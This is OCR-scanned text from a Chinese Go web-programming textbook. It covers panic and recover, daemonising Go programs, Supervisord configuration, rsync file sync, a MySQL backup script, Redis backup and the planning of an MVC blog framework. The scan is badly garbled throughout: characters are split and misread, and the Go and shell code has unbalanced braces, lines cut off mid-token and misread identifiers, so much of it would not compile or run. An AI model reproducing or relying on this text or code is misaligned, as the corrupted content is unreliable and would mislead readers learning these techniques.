错误 清楚 地 表明 了 这 一 点 。 这 就 是 上 面 所 讲 的 可 以 预期 发 生 的 错误 。 


但 是 还 有 一 种 情况 ， 有 一 些 操作 几乎 不 可 能 失败 ， 而 且 在 一 些 特定 的 情况 下 也 没有 
办 法 返回 错误 ， 也 无 法 继续 执行 ， 这 样 情 况 就 点 该 panic。 举 个 例子 : 如 果 一 个 程序 
计算 x 中 ， 但 是 越界 了 ， 这 部 分 代码 就 会 导致 panic， 像 这 样 的 一 个 不 可 预期 严重 错 
误 就 会 引起 panic， 在 默认 情况 下 它 会 杀 掉 进程 ， 它 允许 一 个 正在 运行 这 部 分 代码 的 
goroutine 从 发 生 错 误 的 panic 中 恢复 运行 ， 发 生 panic 之 后 ， 这 部 分 代码 后 面 的 函数 
和 代码 都 不 会 继续 执行 ， 这 是 Go 特意 这 样 设计 的 ， 因 为 要 区 别 于 错误 和 异常 ， 
panic 其 实 就 是 异常 人 处理。 如 下 代码 ， 我 们 期 望 通过 uid 来 获取 User 中 的 username 信 
息 ， 但 是 如 果 uid 越 界 了 就 会 抛 出 异常 ， 这 个 时 候 如 果 我 们 没有 recover 机 制 ， 进 程 
就 会 被 杀 死 ， 从 而 导致 程序 不 可 服务 。 因 此 为 了 程序 的 健壮 性 ， 在 一 些 地 方 需要 建 
立 recover 机 制 |。 


func GetUser(uid int) (username string) { 
defer func() { 


if x := recover(); x != nil { 
username = "" 
}() 
username = User[uid] 
return 


上 面 介 绍 了 错误 和 异常 的 区 别 ， 那 么 我 们 在 开发 程序 的 时 候 如 何 来 设计 呢 ? 规则 很 
简单 : 如 果 你 定义 的 函数 有 可 能 失败 ， 它 就 应 该 返回 一 个 错误 。 当 我 调用 其 他 
package 的 画 数 时 ， 如 果 这 个 函数 实现 的 很 好 ， 我 不 需要 担心 它 会 panic， 除 非 有 真 
正 的 异常 情况 发 生 ， 即 使 那 桩 也 不 应 该 是 我 去 处 理 它 。 而 panic 和 recover 是 针对 自 
己 开发 package 里 面 实现 的 逻辑 ， 针 对 一 些 特殊 情况 来 设计 。 


小 结 


本 小 节 总 结 了 当 我 们 的 Web 应 用 部 署 之 后 如 何 处 理 各 种 错误 : 网 络 错误 、 数 据 库 错 
误 、 操 作 系 统 错误 等 ， 当 错误 发 生 时 ， 我 们 的 程序 如 何 来 正确 处 理 : 显示 友好 的 出 
错 界 面 、 回 滚 操 作 、 记 录 日 志 、 通 知 管理 员 等 操作 ， 最 后 介绍 了 如 何 来 正确 处 理 错 
误 和 异常 。 一 般 的 程序 中 错误 和 异常 很 容易 混淆 的 ， 但 是 在 Go 中 错误 和 异常 是 有 了 明 
显 的 区 分 ， 所 以 告诉 我 们 在 程序 设计 中 人 处理 错误 和 异常 应 该 遵循 怎么 样 的 原则 。 


links 


12.3 应 用 部 署 


程序 开发 完毕 之 后 ， 我 们 现在 要 部 署 Web 应 用 程序 了 ， 但 是 我 们 如 何 来 部 署 这 些 应 
用 程序 呢 ? 因为 Go 程序 编译 之 后 是 一 个 可 执行 文件 ，? 编写 过 C 程 序 的 读者 一 定 知道 
采用 daemon 就 可 以 完美 的 实现 程序 后 台 持 续 运 行 ， 但 是 目前 Go 还 无 法 完美 的 实现 
daemon， 因 此 ， 针 对 Go 的 应 用 程序 部 署 ， 我 们 可 以 利用 第 三 方 工 具 来 管理 ， 第 三 
方 的 工具 有 很 多 ， 例 如 Supervisord、upstart、daemontools 等 ， 这 小 节 我 介绍 目前 
自己 系统 中 采用 的 工具 Supervisord。 


daemon 


目前 Go 程序 还 不 能 实现 daemon， 详 细 的 见 这 个 Go 语言 的 

bug : ‘http://code. google.com/p/go/issues/detail?id= 227` ， 大 概 的 意思 说 很 难 从 现 
有 的 使 用 的 线程 中 fork 一 个 出 来 ， 因 为 没有 一 种 简 单 的 方法 来 确保 所 有 已 4 经 使 用 的 
线程 的 状态 一 致 性 问题 。 


但 是 我 们 可 以 看 到 很 多 网 上 的 一 些 实现 daemon 的 方法 ， 例 如 下 面 两 种 方式 : 


e MarGo 的 一 个 实现 思路 ， 使 用 Commond 来 执行 自身 的 应 用 ， 如 果真 想 实 
那么 推荐 这 种 方案 


d := flag.Bool("d", false, "Whether or not to launch in the 上 


af dt 

cmd := exec.Command(os.Args[0], 
"-close-fds", 
"-addr", *addr, 
Cal “call, 

) 

serr, err := cmd.StderrPipe( ) 

if err != nil { 
log.Fatalln(err) 

} 

err = cmd.Start() 

if err != nil { 
log.Fatalln(err) 

} 

s, err := ioutil.ReadAll(serr) 

s = bytes.TrimSpace(s) 


if bytes.HasPrefix(s, []byte("addr: ")) { 
fmt .Printin(string(s) ) 
cmd.Process.Release() 
} else { 
log.Printf("unexpected response from MarGo: `%s` errc 
cmd.Process.Kill() 





"syscall" 


) 


func daemon(nochdir, noclose int) int { 
var ret, ret2 uintptr 
var err uintptr 


darwin := syscall.OS == "darwin" 


// already a daemon 

if syscall.Getppid() == 1 { 
return 0 

} 


// fork off the parent process 
ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 
if err !=0 { 


return -1 


// failure 
if ret2 <0 f{ 
os.Exit(-1) 


// handle exception for darwin 
if darwin && ret2 == 1 { 
ret = 0 


// if we got a good PID, then we call exit the parent prc 
if ret > 0 { 

os.Exit(0) 
} 


/* Change the file mode mask */ 
_ = syscall.Umask(0) 


// create a new SID for the child process 


s_ret, s_errno := syscall.Setsid() 
if s_errno != 0 { 
log.Printf("Error: syscall.Setsid errno: %d", s_errnc 
} 
if s ret <0f 
return -1 
} 


if nochdir == 0 { 
os.Chdir("/") 


} 
if noclose == 0 { 
f, e := os.OpenFile("/dev/null", os.O_RDWR, 0) 
if e == nil { 
fd := f.Fd() 
syscall.Dup2(fd, os.Stdin.Fd()) 
syscall.Dup2(fd, os.Stdout.Fd()) 
syscall.Dup2(fd, os.Stderr.Fd()) 
} 
} 
return 0 





上 面 提 出 了 两 种 实现 Go 的 daemon 方 案 ， 但 是 我 还 是 不 推荐 大 家 这 样 去 实现 ， 因 为 
官方 还 没有 正式 的 宣布 支持 daemon， 当 然 第 一 种 方案 目前 来 看 是 比较 可 行 的 ， 而 
且 目 前 开源 库 skynet 也 在 采用 这 个 方案 做 daemon。 


Supervisord 


上 面 已 经 介绍 了 Go 目前 是 有 两 种 方案 来 实现 他 的 daemon， 但 是 官方 本 身 还 不 支持 

这 一 块 ， 所 以 还 是 建议 大 家 采用 第 三 方 成 熟 工具 来 管理 我 们 的 应 用 程序 ， 这 里 我 给 

大 家 介绍 一 款 目前 使 用 比较 广泛 的 进程 管理 软件 : Supervisord。 Supervisord 是 用 

Python 实现 的 一 款 非 常 实用 的 进程 管理 工具 。supervisord 会 帮 你 把 管理 的 应 用 程序 

转 成 daemon 程 序 ， 而 且 可 以 方便 的 通过 命令 开店、 关闭 、 重 和 启 等 操作 ， 而 且 它 管 

pasa ae 动 重启 ， 这 样 就 可 以 保证 程序 执行 中 断后 的 情况 下 有 自我 修 
功能。 


我 前 面 在 应 用 中 中 过 一 个 坑 ， 就 是 因为 所 有 的 应 用 程序 都 是 由 Supervisord 父 进 
程 生出 来 的 ， 那 么 当 你 修改 了 操作 系统 的 文件 描述 符 之 后 ， 别 忘记 重启 
Supervisord， 光 重启 下 面 的 应 用 程序 没 用 。 当 初 我 就 是 系统 安装 好 之 后 就 先 装 
了 Supervisord， 然 后 开始 部 署 程序 ， 修 改 文件 描述 符 ， 重 启程 序 ， 以 为 文件 描 
述 符 已 经 是 100000 了 ， 其 实 Supervisord 这 个 时 候 还 是 默认 的 1024 个 ， 导 致 他 
管理 的 进程 所 有 的 描述 符 也 是 1024. 开 放 之 后 压力 一 上 来 系统 就 开始 报 文件 描述 
符 用 光 了 ， 查 了 很 久 才 找到 这 个 坑 。 


Supervisord 安 装 


Supervisord 可 以 通过 sudo easy_install supervisor 安装 ， 当 然 也 可 以 通过 
Supervisord 官 网 下 载 后 解压 并 转 到 源码 所 在 的 文件 夹 下 执 
行 setup.py install 来 安装 。 


e 使 用 easy_install 必 须 安装 setuptools 


打开 http://pypi.python.org/pypi/setuptools#files ， 根 据 你 系统 的 
python 的 版 本 下 载 相应 的 文件 ， 然 后 执行 sh setuptoolsxxxx.egg ， 这 样 就 
可 以 使 用 easy_install 命 令 来 安装 Supervisord。 


Supervisord 配 置 


Supervisord 默 认 的 配置 文件 路 径 为 /etc/supervisord.conf， 通 过 文本 编辑 器 修改 这 
个 文件 ， 下 面 是 一 个 示例 的 配置 文件 : 


,;/etc/supervisord.conf 
[unix_http_server ] 

file = /var/run/supervisord.sock 
chmod = 0777 

chown= root:root 


[inet_http_server ] 
# Web 管 理 界面 设 定 


port=9001 

username = admin 
password = yourpassword 
[Supervisorctl] 


; 必须 和 'unix_http_server ' 里 面 的 设 定 匹配 
serverurl = unix:///var/run/supervisord.sock 


[Supervisord ] 

logfile=/var/log/supervisord/supervisord.log ; (main log file;defat 
logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation; 
logfile_backups=10 ; (num of main logfile rotation backup: 
loglevel=info ; (log level;default info; others: debt 
pidfile=/var/run/supervisord.pid ; (Supervisord pidfile;default sur 
nodaemon=true ; (start in foreground if true;default 1 
minfds=1024 ; (min. avail startup file descriptors, 
minprocs=200 ; (min. avail process descriptors;defat 
user=root ; (default is current user, required if i 
childlogdir=/var/log/supervisord/ ; ('AUTO' child log d: 


[rpcinterface: supervisor ] 
supervisor.rpcinterface_factory = supervisor.rpcinterface:make_mair 


; 管理 的 单个 进程 的 配置 ， 可 以 添加 多 个 program 
[ program: blogdemon | 
command=/data/blog/blogdemon 
autostart = true 

startsecs = 5 


user = root 
redirect_stderr = true 
stdout_logfile = /var/log/supervisord/blogdemon. log 





Supervisord= #2 


Supervisord 安 装 完成 后 有 两 个 可 用 的 命令 行 supervisor 和 supervisorctl|， 命 令 使 用 
解释 如 下 : 


e Supervisord， 初 始 启动 Supervisord， 和 启动 、 管 理 配 置 中 设置 的 进程 。 

e supervisorctl stop programxxx， 停 止 某 一 个 进程 (programxxx)，programxxx 为 
[program:blogdemon] 里 配置 的 值 ， 这 个 示例 就 是 blogdemon。 

e supervisorctl start programxxx, 启动 某 个 进程 


e supervisorctl restart programxxx， 重 启 某 个 进程 

e supervisorctl stop all， 停 止 全 部 进程 ， 注 : start、restart、stop 都 不 会 载 人 最 
新 的 配置 文件 。 

e supervisorctl reload， 载 入 最 新 的 配置 文件 ， 并 按 新 的 配置 和 启动、 管理 所有 进 


程 。 
小 结 


这 小 节 我 们 介绍 了 Go 如 何 实现 daemon 化 ， 但 是 由 于 目前 Go 的 daemon 实 现 的 不 
足 ， 需 要 依靠 第 三 方 工具 来 实现 应 用 程序 的 daemon 管 理 的 方式 ， 所 以 在 这 里 介绍 
了 一 个 用 python 写 的 进程 管理 工具 Supervisord， 通 过 Supervisord 可 以 很 方便 的 把 
我 们 的 Go 应 用 程序 管理 起 来 。 


章 : 网 站 错误 处 理 
节 


网 
: 各 份 和 恢复 


12.4 各 份 和 恢复 


这 小 节 我 们 要 讨论 应 用 程序 管理 的 另 一 个 方面 : 生产 服务 器 上 数据 的 备份 和 恢复 。 

我 们 经 常会 遇 到 生产 服务 器 的 网 络 断 了 、 硬 瘟 坏 了 、 操 作 系统 骨 溃 、 或 者 数据 库 不 
可 用 了 等 各 种 异常 情况 ， 所 以 维护 人 员 需 要 对 生产 服务 器 上 的 应 用 和 数据 做 好 异地 
灾 备 ， 冷 备 热 备 的 准备 。 在 接 下 来 的 介绍 中 ， 讲 解 了 如 何 各 份 应 用 、 如 何 备份 /恢复 
Mysql 数 据 库 和 redis 数 据 库 。 


应 用 备份 


在 大 多 数 集群 环境 下 ，Web 应 用 程序 基本 不 需要 备份 ， 因 为 这 个 其 实 就 是 一 个 代码 
副本 ， 我 们 在 本 地 开发 环境 中 ， 或 者 版 本 控制 系统 中 已 经 保持 这 些 代 码 。 但 是 很 多 
时 候 ， 一 些 开 发 的 站 点 需要 用 户 来 上 传 文件 ， 那 么 我 们 需要 对 这 些 用 户 上 传 的 文件 
进行 备份 。 目 前 其 实 有 一 种 合适 的 做 法 就 是 把 和 网 站 相关 的 需要 存储 的 文件 存储 到 
云 储存 ， 这 样 即 使 系统 崩溃 ， 只 要 我 们 的 文件 还 在 云 存 储 上 ， 至 少数 据 不 会 去 失 。 


如 果 我 们 没有 采用 云 储 存 的 情况 下 ， 如 何 做 到 网 站 的 各 份 呢 ? 这 里 我 们 介绍 一 个 文 
件 同步 工具 rsync : rsync 能 够 实现 网 站 的 各 份 ， 不 同系 统 的 文件 的 同步 ， 如 果 是 
windows 的 话 ， 需 要 windows 版 本 cwrsync。 


rsync 安 装 


rysnc 的 官方 网 站 : http://rsync.samba.org/ 可 以 从 上 面 获取 最 新 版 本 的 源码 。 当 
然 ， 因 为 rsync 是 一 款 非 常 有 用 的 软件 ， 所 以 很 多 Linux 的 发 行 版 本 都 将 它 收 录 在 内 


o 


软件 包 安 装 


# sudo apt-get install rsync 注 : 在 debian、ubuntu 等 在 线 安 装 方法 ; 
# yum install rsync 注 : Fedora, Redhat, CentOS 等 在 线 安 装 方法 ; 
# rpm -ivh rsync 注 : Fedora, Redhat, CentOS 等 rpm 包 安装 方法 ; 


| 
其 它 Linux 发 行 版 ， 请 用 相应 的 软件 包 管 理 方 法 来 安装 。 源 码 包 安 装 

tar xvf rsync-xxx.tar.gz 

cd rsync-xxx 

./configure --prefix=/usr ;make ;make install 注 :在 用 源码 包 编 译 安 
4 = 5 





rsync 配 置 


rsync 主 要 有 以 下 三 个 配置 文件 rsyncd.conf( 主 配置 文件 )、rsyncd.secrets( 密 码 文 
件 )、rsyncd.motd(rysnc 服 务 器 信息 )。 


关于 这 几 个 文件 的 配置 大 家 可 以 参考 官方 网 站 或 者 其 他 介绍 rsync 的 网 站 ， 下 面 介绍 
服务 器 端 和 客户 端 如 何 开 和 启 
。 服务 端 开 局 : 


#/usr/bin/rsync --daemon --config=/etc/rsyncd.conf 


--daemon 参 数 方式 ， 是 让 rsync 以 服务 器 模式 运行 。 把 rsync 加 入 开机 启动 


echo 'rsync --daemon' >> /etc/rc.d/rc.local 


设置 rsync 密 码 


echo ' 你 的 用 户 名 :你 的 密码 ' > /etc/rsyncd.secrets 
chmod 600 /etc/rsyncd.secrets 


。 客户 端 同步 : 
客户 端 可 以 通过 如 下 命令 同步 服务 器 上 的 文件 : 


rsync -avzP --delete --password-file=rsyncd.secrets 用 户 名 


一 一 





这 条 命 伟 ， 简 要 的 说 明 一 下 几 个 要 点 : 


1. -avzP 是 哈 ， 读 者 可 以 使 用 --help 坦 看 

2. --delete 是 为 了 比如 A 上 删除 了 一 个 文件 ， 同 步 的 时 候 ，B 会 自动 删除 相对 
应 的 文件 

3. --password-file 客户 端 中 /etc/rsyncd.secrets 设 置 的 密码 ， 要 和 服务 端的 
/etc/rsyncd.secrets 中 的 密码 一 样 ， 这 样 cron 运 行 的 时 候 ， 就 不 需要 密码 
了 


. 这 条 命令 中 的 "用 户 名 "为 服务 端的 /etc/rsyncd.secrets 中 的 用 户 名 

. 这 条 命令 中 的 192.168.145.5 为 服务 端的 IP 地 址 

. :WwWw， 注 意 是 2 个 : 号 ，www 为 服务 端的 配置 文件 /etc/rsyncd.conf 中 的 
[www]， 意 思 是 根据 服务 端 上 的 /etc/rsyncd.conf 来 同步 其 中 的 [www] 段 内 
容 ， 一 个 : 号 的 时 候 ， 用 于 不 根据 配置 文件 ， 直 接 同 步 指 定 目录 。 


为 了 让 同步 实时 性 ， 可 以 设置 crontab， 保 持 rsync 每 分 钟 同步 ， 当 然 用 户 
也 可 以 根据 文件 的 重要 程度 设置 不 同 的 同步 频率 。 


not 


MySQL 4/7 


应 用 数据 库 目 前 还 是 MySQL 为 主流 ， 目 前 MySQL 的 备份 有 两 种 方式 : HAMA 
各 份 ， 热 各 份 目前 主要 是 采用 master/slave 方 式 (master/slave 方 式 的 同步 目前 主要 
用 于 数据 库 读 写 分 离 ， 也 可 以 用 于 热 备份 数据 ) ， 关 于 如 何 配 置 这 方面 的 资料 ， 大 
家 可 以 找到 很 多 。 冷 备份 的 话 就 是 数据 有 一 定 的 延迟 ， 但 是 可 以 保证 该 时 间 段 之 前 
的 数据 完整 ， 例 如 有 些 时 候 可 能 我 们 的 误 操作 引起 了 数据 的 丢失 ， 那 么 
master/slave 模 式 是 无 法 找 回 丢 失 数 据 的 ， 但 是 通过 冷 备份 可 以 部 分 恢复 数据 。 


冷 备份 一 般 使 用 shell 脚 本 来 实现 定时 备份 数据 库 ， 然 后 通过 上 面 介绍 rsync 同 步 非 
本 地 机 房 的 一 台 服 务 器 。 


下 面 这 个 是 定时 备份 mysql 的 各 份 脚本 ， 我 们 使 用 了 mysqldump 程 序 ， 这 个 命令 可 
以 把 数据 库 导 出 到 一 个 文件 中 。 


#!/bin/bash 


# 以 下 配置 信息 请 自己 修改 

mysql_user="USER" #MySQL 各 份 用 户 

mysql_password="PASSWORD" #MySQL 各 份 用 户 的 密码 

mysql_host="localhost" 

mysql_port="3306" 

mysql_charset="utf8" #MySQL 4 4 

backup_db_arr=("dbi" "db2") # 要 备份 的 数据 库 名 称 ， 多 个 用 空格 分 开 隔 开 如 ("d 
backup_location=/var/www/mysql # 备 份 数据 存放 位 置 ， 末 尾 请 不 要 带 "/", 此 项 5 
expire_backup_delete="0N" # 是 否 开启 过 期 各 份 删 除 ON 为 开启 OFF 为 关闭 
expire_days=3 # 过 期 时 间 天 数 默认 为 三 天 ， 此 项 只 有 在 expire_backup_delete 开 . 


# 本 行 开 始 以 下 不 需要 修改 

backup_time=`date +%Y%m%d%H%M> # 定 义 备份 详细 时 间 
backup_Ymd= `date +%Y-%m-%d”# 定 义 备 份 目录 中 的 年 月 日 时 间 
backup_3ago=`date -d '3 days ago' +%Y-%m-%d”#3 天 之 前 的 日 期 
backup_dir=$backup_location/$backup_Ymd # 各 份 文件 夹 全 路 径 
welcome_msg="Welcome to use MySQL backup tools!" # 欢 迎 语 


# 判断 MYSQL 是 否 和 启动 , mysql 没 有 启动 则 备份 退出 
mysql_ps="ps -ef |grep mysql |wc -1 
mysql_listen="netstat -an |grep LISTEN |grep $mysql_port|wc -1 
if [ [Smysql_ps == 0] -o [$mysql_listen == 0] ]; then 
echo "ERROR:MySQL is not running! backup stop!" 
exit 
else 
echo $welcome_msg 
fi 


# 连接 到 mysq1 数 据 库 ， 无 法 连接 则 各 份 退出 

mysql -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password < 
use mysql; 

select host,user from user where user='root' and host='localhost'; 
exit 

end 


flag= echo $?` 
if [ $flag != "0" ]; then 


else 


echo "ERROR:Can't connect mysql server! backup stop!" 
exit 


echo "MySQL connect ok! Please wait...... 
# 判断 有 没有 定义 备份 的 数据 库 ， 如 果 定 义 则 开始 备份， 否则 退出 备份 
if [ "$backup_db_arr" != "" ];then 
#dbnames=$(cut -d ',' -f1-5 $backup_database) 
#echo "arr is (${backup_db_arr[@]})" 
for dbname in ${backup_db_arr[@]} 


do 
echo "database $dbname backup start..." 
“mkdir -p $backup_dir~ 
“mysqldump -h$mysql_host -P$mysql_port -u$r 
flag= echo $?` 
if [ $flag == "0" ];then 
echo "database $dbname success bacl 
else 
echo "database $dbname backup fail 
fi 
done 
else 
echo "ERROR:No database to backup! backup stop" 
exit 
fi 
# 如 果 开 启 了 删除 过 期 备份 ， 则 进行 删除 操作 
if [ "$expire_backup_delete" == "ON" -a "$backup_location' 
# find $backup_location/ -type d -o -type f -ctime 
`find $backup_location/ -type d -mtime +$expire_dé 
echo "Expired backup data delete complete!" 
fi 
echo "All database backup success! Thank you!" 
exit 





修改 shell 脚 本 的 属性 : 


chmod 600 /root/mysql_backup.sh 
chmod +x /root/mysql_backup.sh 


设置 好 属性 之 后 ， 把 命令 加 入 crontab， 我 们 设置 了 每 天 00:00 定 时 自动 各 份 ， 然 后 
把 各 份 的 脚本 目录 /var/www/mysql 设 置 为 rsync 同 步 目录 。 


00 00 * * * /root/mysql_backup.sh 


MySQLikS 


前 面 介绍 MySQL 备 份 分 为 热 备份 和 冷 备份 ， 热 备份 主要 的 目的 是 为 了 能 够 实时 的 恢 
复 ， 例 如 应 用 服务 器 出 现 了 硬盘 故障 ， 那 么 我 们 可 以 通过 修改 配置 文件 把 数据 库 的 
读 取 和 写 入 改 成 slave， 这 样 就 可 以 尽量 少时 间 的 中 断 服务 。 


但 是 有 时 候 我 们 需要 通过 准备 份 的 SQL 来 进行 数据 恢复 ， 既 然 有 有 了 数据 库 的 备份 ， 
就 可 以 通过 命 分 导入 : 


mysql -u username -p databse < backup.sql 


可 以 看 到 ， 导 出 和 导入 数据 库 数 据 都 是 相当 简单 ， 不 过 如 果 还 需要 管理 权限 ， 或 者 
其 他 的 一 些 字符 集 的 设置 的 话 ， 可 能 会 稍微 复 末 一 些 ， 但 是 这 些 都 是 可 以 通过 一 些 
命令 来 完成 的 。 


redis 各 份 


redis 是 目前 我 们 使 用 最 多 的 NoSQL， 它 的 备份 也 分 为 两 种 : 热 各 份 和 冷 各 份 ， 
redis 也 支持 masterslave 模 式 ， 所 以 我 们 的 热 各 份 可 以 通过 这 种 方式 实现 ， 相 应 的 
配置 大 家 可 以 参考 官方 的 文档 配置 ， 相 当 的 简单 。 我 们 这 里 介绍 冷 各 份 的 方式 : 
redis 其 实 会 定时 的 把 内 存 里 面 的 缓存 数据 保存 到 数据 库 文件 里 面 ， 我 们 备份 只 要 备 
份 相应 的 文件 就 可 以 ， 就 是 利用 前 面 介 绍 的 rsync 备 份 到 非 本 地 机 房 就 可 以 实现 。 


redis 恢 复 


redis 的 恢复 分 为 热 备份 恢复 和 准备 份 恢复 ， 热 备份 恢复 的 目的 和 方法 同 MySQL 的 
恢复 一 样 ， 只 要 修改 应 用 的 相应 的 数据 库 连 接 即 可 。 


但 是 有 时 候 我 们 需要 根据 冷 备 份 来 恢复 数据 ，redis 的 准备 份 恢复 其 实 就 是 只 要 把 保 
存 的 数据 库 文件 copy 到 redis 的 工作 目录 ， 然 后 启动 redis 就 可 以 了 ，redis 在 启动 的 
时 候 会 自动 加 载 数据 库 文件 到 内 存 中 ， 上 所 动 的 速度 根据 数据 库 的 文件 大 小 来 决定 。 


小 结 


本 小 节 介 绍 了 我 们 的 应 用 部 分 的 各 份 和 恢复 ， 即 如 何 做 好 灾 备 ， 包 括 文件 的 各 份 、 
数据 库 的 备份 。 同 时 也 介绍 了 使 用 rsync 同 步 不 同系 统 的 文件 ，MySQL 数 据 库 和 
redis 数 据 库 的 备份 和 恢复 ， 和 希望 通过 本 小 节 的 介绍 ， 能 够 给 作为 开发 的 你 对 于 线 上 
产品 的 灾 各 方案 提供 一 个 参考 方案 。 


12.5 小 结 


本 章 讨 论 了 如 何 部 署 和 维护 我 们 开发 的 Web 应 用 相关 的 一 些 话题 。 这 些 内 容 非 常 重 
到 要 创建 一 个 能 够 基于 最 小 维护 平滑 运行 的 应 用 ， 必 须 考 虑 这 些 问 题 。 


具体 而 言 ， 本 章 讨论 的 内 容 包括 : 


e 创建 一 个 强健 的 日 志 系统 ， 可 以 在 出 现 问题 时 记录 错误 并 且 通 知 系 统管 理 员 

e 义理 运行 时 可 能 出 现 的 错误 ， 包 括 记 录 日 志 ， 并 如 何 友好 的 显示 给 用 户 系统 出 
现 了 问题 

e 义理 404 错 误 ， 告 诉 用 户 请 求 的 页 面 找 不 到 

。 将 应 用 部 署 到 一 个 生产 环境 中 (包括 如 何 部 署 更 新 ) 

。 如 何 让 部 署 的 应 用 程序 具有 高 可 用 

。 各 份 和 恢复 文件 以 及 数据 库 


读 完 本 章 内 容 后 ， 对 于 从 头 开始 开发 一 个 Web 应 用 需要 考虑 那些 问题 ， 你 应 该 已 经 
有 了 全 面 的 了 解 。 本 章 内 容 将 有 助 于 你 在 实际 环境 中 管理 前 面 各 章 介绍 开 发 的 代 
码 。 


章 : 备份 和 恢复 
一 节 : 如 何 设计 一 个 Web 框 架 


13 如 何 设计 一 个 Web 框 架 


前 面 十 二 章 介 绍 了 如 何 通过 Go 来 开发 Web 应 用 ， 介 绍 了 很 多 基础 知识 、 开 发 工具 和 
开发 技巧 ， 那 么 我 们 这 一 章 通过 这 些 知识 来 实现 一 个 简易 的 Web 框 架 。 通 过 Go 语言 
来 实现 一 个 完整 的 框架 设计 ， 这 框架 中 主要 内 容 有 第 一 小 节 介 绍 的 Web 框 架 的 结构 
规划 ， 例 如 采用 MVC 模 式 来 进行 开发 ， 程 序 的 执行 流程 设计 等 内 容 ; 第 二 小 节 介 绍 
框架 的 第 一 个 功能 : 路 由 ， 如 何 让 访问 的 URL 了 映射 到 相应 的 处 理 逻 辑 ; 第 三 小 节 介 
绍 处 理 逻 辑 ， 如 何 设计 一 个 公共 的 controller， 对 象 继承 之 后 处 理 画 数 中 如 何 处 理 

response 和 request ; 第 四 小 节 介 绍 如 何 框 架 的 一 些 辅 助 功 能 ， 例 如 日 志 人 处 理 、 配 

置信 息 等 ; 第 五 小 节 介绍 如 何 基于 Web 框 架 实现 一 个 博客 ， 包 括 博文 的 发 表 、 修 

改 、 删 除 、 显 示 列 表 等 操作 。 


通过 这 人 么 一 个 完整 的 项 目 例 子 ， 我 期 望 能 够 让 读者 了 解 如 何 开 发 Web 应 用 ， 如 何 拱 
建 自 己 的 目录 结构 ， 如 何 实现 路 由 ， 如 何 实现 MVC 模 式 等 各 方面 的 开发 内 容 。 在 框 
架 盛 行 的 今天 ，MVC 也 不 再 是 神话 。 经 常 听 到 很 多 程序 员 讨 论 哪个 框架 好 ， 哪 个 框 
架 不 好 ， 其 实 框架 只 是 工具 ， 没 有 好 与 不 好 ， 只 有 适合 与 不 适合 ， 适 合 自己 的 就 是 
最 好 的 ， 所 以 教会 大 家 自己 动手 写 框 架 ， 那 么 不 同 的 需求 都 可 以 用 自己 的 思路 去 实 
现 。 


目录 


13.1 项 目 规划 


做 任何 事情 都 需要 做 好 规划 ， 那 么 我 们 在 开发 博客 系统 之 前 ， 同 样 需要 做 好 项 目的 
规划 ， 如 何 设置 目录 结构 ， 如 何 理解 整个 项 目的 流程 图 ， 当 我 们 理解 了 应 用 的 执行 
过 程 ， 那 么 接 下 来 的 设计 编码 就 会 变 得 相对 容易 了 


gopath 以 及 项 目 设 年 


假设 指定 gopath 是 文件 系统 的 普通 目录 名 ， 当 然 我 们 可 以 随便 设置 一 个 目录 名 ， 然 
后 将 其 路 径 存 人 GOPATH。 前 面 介绍 过 GOPATH 可 以 是 多 个 目录 : 在 window 系 统 

设置 环境 变量 ; 在 linux/MacOS 系 统 只 要 输入 终端 命 

令 export gopath=/home/astaxie/gopath ， 但 是 必须 保证 gopath 这 个 代码 目录 
下 面 有 三 个 目录 pkg、bin、src。 新 建 项 目的 源码 放 在 src 目 录 下 面 ， 现 在 暂 定 我 们 

的 博客 目录 叫做 beeblog， 下 面 是 在 window 下 的 环境 变量 和 目录 结构 的 截图 : 


图 13.1 环境 变量 GOPATH 设 置 


图 13.2 工作 目录 在 $gopath/src 下 


应 用 程序 流程 图 


博客 系统 是 基于 模型 -视图 -控制 器 这 一 设计 模式 的 。MVC 是 一 种 将 应 用 程序 的 逻辑 
层 和 表现 层 进行 分 离 的 结构 方式 。 在 实践 中 ， 由 于 表现 层 从 Go 中 分 离 了 出 来 ， 所 以 
它 人 允许 你 的 网 页 中 只 包含 很 少 的 脚本 。 


e 模型 (Model) 代表 数据 结构 。 通 常 来 说 ， 模 型 类 将 包含 取出 、 插 入 、 更 新 数据 
库 资 料 等 这 些 功能 。 


。 视图 (View) 是 展示 给 用 户 的 信息 的 结构 及 样式 。 一 个 视图 通常 是 一 个 网 页 ， 但 
是 在 Go 中 ， 一 个 视图 也 可 以 是 一 个 页 面 片段 ， 如 页 头 、 页 尾 。 它 还 可 以 是 一 个 


RSS 页 面 ， 或 其 它 类 型 的 “页 面 "，Go 实 现 的 template 包 已 经 很 好 的 实现 了 View 
层 中 的 部 分 功能 。 

控制 器 (Controller) 是 模型 、 视 图 以 及 其 他 任何 处 理 HTTP 请 求 所 必须 的 资源 之 
间 的 中 介 ， 并 生成 网 页 。 


下 图 显示 了 项 目 设 计 中 框架 的 数据 流 是 如 何 员 穿 整个 系统 : 


图 13.3 框架 的 数据 流 


1. main.go 作 为 应 用 入 口 ， 初 始 化 一 些 运 行 博客 所 需要 的 基本 资源 ， 配 置信 息 ， 
监听 端口 。 


2. 路 由 功能 检查 HTTP 请 求 ， 根 据 URL 以 及 method 来 确定 谁 (控制 层 ) 来 处 理 请 求 
的 转发 资源 。 

3. 如 果 缓 存 文件 存在 ， 它 将 绕 过 通常 的 流程 执行 ， 被 直接 发 送 给 浏览 器 。 

4. 安全 检测 : 应 用 程序 控制 器 调用 之 前 ，HTTP 请 求 和 任 一 用 户 提 交 的 数据 将 被 
过 滤 。 

5. 控制 器 装载 模型 、 核 心 库 、 辅 助 画 数 ， 以 及 任何 义理 特定 请 求 所 需 的 其 它 资 
源 ， 控 制 器 主要 负责 处 理 业务 逻辑 。 

6. 输出 视图 层 中 演 染 好 的 即将 发 送 到 Web 浏 览 器 中 的 内 容 。 如 果 开 和 启 缓存 ， 视 图 
首先 被 缓存 ， 将 用 于 以 后 的 常规 请 求 。 


目录 结构 
根据 上 面 的 点 用 程序 流程 设计 ， 博 客 的 目录 结构 设计 如 下 : 


|—main.go 入 口 文件 
| 一 conf 配置 文件 和 你 理 模 块 
| 一 controllers 控制 器 入 口 
| 一 models 数据 库 处 理 模 块 
| 一 utils A BD ESR OE 
| 一 static 静态 文件 目录 
| 一 views 视图 库 
框架 设计 


为 了 实现 博客 的 快速 搭建 ， 打 算 基 于 上 面 的 流程 设计 开发 一 个 最 小 化 的 框架 ， 框 架 
